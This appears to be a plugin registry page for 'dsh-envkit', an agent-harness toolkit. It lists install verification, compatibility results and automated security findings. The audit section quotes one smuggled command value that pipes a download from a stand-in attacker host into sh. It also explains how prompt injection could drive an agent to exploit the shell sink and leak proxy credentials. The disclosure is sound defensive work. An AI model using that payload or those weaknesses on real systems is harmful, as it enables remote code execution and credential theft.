Install verification: runtime verified (L5) · tested on dsh 0.2.1-rc.2 · last checked Install verification details →
What it doesAI
Environment toolkit for DeepSeek Harness: probe network/proxy/writability, safely edit JSON without BOM, and rebuild missing .git metadata.
- env_probe checks network, proxy, writability and subprocess pipes
- safe_json_edit writes JSON without BOM safely
- git_repair detects and rebuilds missing .git metadata
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
dsh plugin --profile web add dsh-envkitInstall method: npm · runtime verified (L5)
Verification & Compatibility
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
○ The author declares no dsh version requirement — install is not blocked by version.
| plugin \ dsh | dsh 0.2.1-rc.2 current | dsh 0.2.1-alpha.2 |
|---|---|---|
| 0.1.1 | ✓ | ✓ |
| v0.1.1 | · | · |
0.1.1npm✓ 2 runtime-verified2026-10-20
dsh-envkit
✓dsh 0.2.1-rc.2current2026-10-20L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • Plugin artifact: npm · dsh-envkit@0.1.1
ID: dsh-envkit@0.1.1@dsh0.2.1-rc.2 · profile: l4-sandbox
Issued: 2026-10-20 · expires: 2026-10-27
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.2.1-alpha.22026-10-15L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • Plugin artifact: npm · dsh-envkit@0.1.1
ID: dsh-envkit@0.1.1@dsh0.2.1-alpha.2 · profile: l3-fullscan
Issued: 2026-10-15 · expires: 2026-10-22
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
v0.1.1github2026-10-14
https://github.com/Caoran1314/dsh-envkit
No runtime install test for this version (static scan only) — compatibility unknown, never assumed.
Author badges
Embed the official badges in your README to showcase security & install-test status:
`[](https://www.dsh.so/artifact/dsh-envkit/)``[](https://www.dsh.so/artifact/dsh-envkit/)`Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low, dynamic high — stricter wins → overall high.
v0.1.1dsh manifest0.1.1npm2026-10-210.1.1same versionclean · npmVet is an AST static scan (npm artifact or git source).
show static findings (7)
- warningchildProcess · code-exec
lib/core.mjs:68const r = spawnSync(process.execPath, ['-e', 'process.stdout.write("ok")'], { - warningchildProcess · code-exec
lib/core.mjs:263const r = isWin ? spawnSync('cmd.exe', ['/c', cmd], { encoding: 'utf8', timeout: 120000 }) - warningchildProcess · code-exec
lib/core.mjs:264: spawnSync('sh', ['-c', cmd], { encoding: 'utf8', timeout: 120000 }) - warningfsWrite · files
lib/core.mjs:56fs.writeFileSync(probe, 'x') - warningfsWrite · files
lib/core.mjs:171fs.writeFileSync(tmp, out, 'utf8') // node 写 utf8 = 无 BOM - warningfsWrite · files
lib/index.js:269fs.writeFileSync(path.join(dataDir, 'ctx-probe.json'), JSON.stringify(probe, null, 2), 'utf8') - warningfsWrite · files
lib/index.js:279fs.writeFileSync(path.join(dataDir, 'last-load.json'), JSON.stringify({
show 4 audit findings
- highgit_repair interpolates repoDir/remote/branch/sshKey into sh -c / cmd.exe commands
lib/core.mjs:250repoDir, remote, branch and sshKey arrive as tool arguments from the model caller and are concatenated into command strings that are later executed with spawnSync('sh', ['-c', cmd]) (line 269) or cmd.exe /c (line 268) whenever dryRun is false. A value such as a path containing " ; curl http://attacker/x | sh ; # breaks out of the quoting and runs arbitrary commands with the DSH host's privileges. dryRun defaults to true, so exploitation needs one call with dryRun:false — trivially reachable for an agent, including via prompt injection in repo content.
- mediumsafe_json_edit rewrites any existing JSON file on the host with no path restriction
lib/core.mjs:172The tool accepts an arbitrary absolute path plus a set of dot-paths and arbitrary JSON values, and atomically replaces the file (the only precondition is that it currently parses as JSON). This is a generic write primitive over every JSON config on the machine — including DSH profile package.json (dsh.profile.bundles / dependencies), editor and npm settings — usable to persist configuration changes or disable security-relevant settings. The backup copy is best-effort and does not prevent the write.
- mediumenv_probe returns raw proxy environment variable values, which often contain credentials
lib/core.mjs:83HTTP_PROXY/HTTPS_PROXY values are commonly of the form http://user:password@proxy:8080. envProbe returns the key/value map verbatim, so proxy credentials are copied into the agent's tool result (model context) and into the /envkit/probe HTTP response. The tool description only promises '代理环境变量', giving no indication that secret values are exposed, which turns a diagnostic feature into an undisclosed credential exfiltration channel (e.g. via prompt injection).
- low/envkit routes fail open when connection.requestRejection is unavailable
lib/index.jsThe route wrapper only rejects a request when the connection service exposes requestRejection; if that service is missing or shaped differently, rejected() returns false and the handler proceeds. /envkit/probe then performs outbound fetches, a child-process spawn and returns proxy env, writable paths and platform info to any client that can reach the web server; /envkit/inspect discloses installed profile names and dependency lists. inject declares 'connection', so this is a degradation path rather than the normal case, hence low.
git_repair concatenates tool arguments into sh -c/cmd.exe commands, safe_json_edit rewrites any JSON path, and env_probe leaks proxy credentials; the shell sink is a real RCE precondition.
Rule: the dynamic audit can only raise risk, never lower it (raise-only, never an exemption); a wrong raise is withdrawn by human review and the tier falls back to the static verdict. Overall verdict = the stricter of the two layers.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-10-13 · activity: Active
• Repo created: 2026-10-13
• Stars: ★ 1 · Forks: 0
• Health: Active — committed within last 30 days
Source
GitHub: github.com/Caoran1314/dsh-envkit
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).
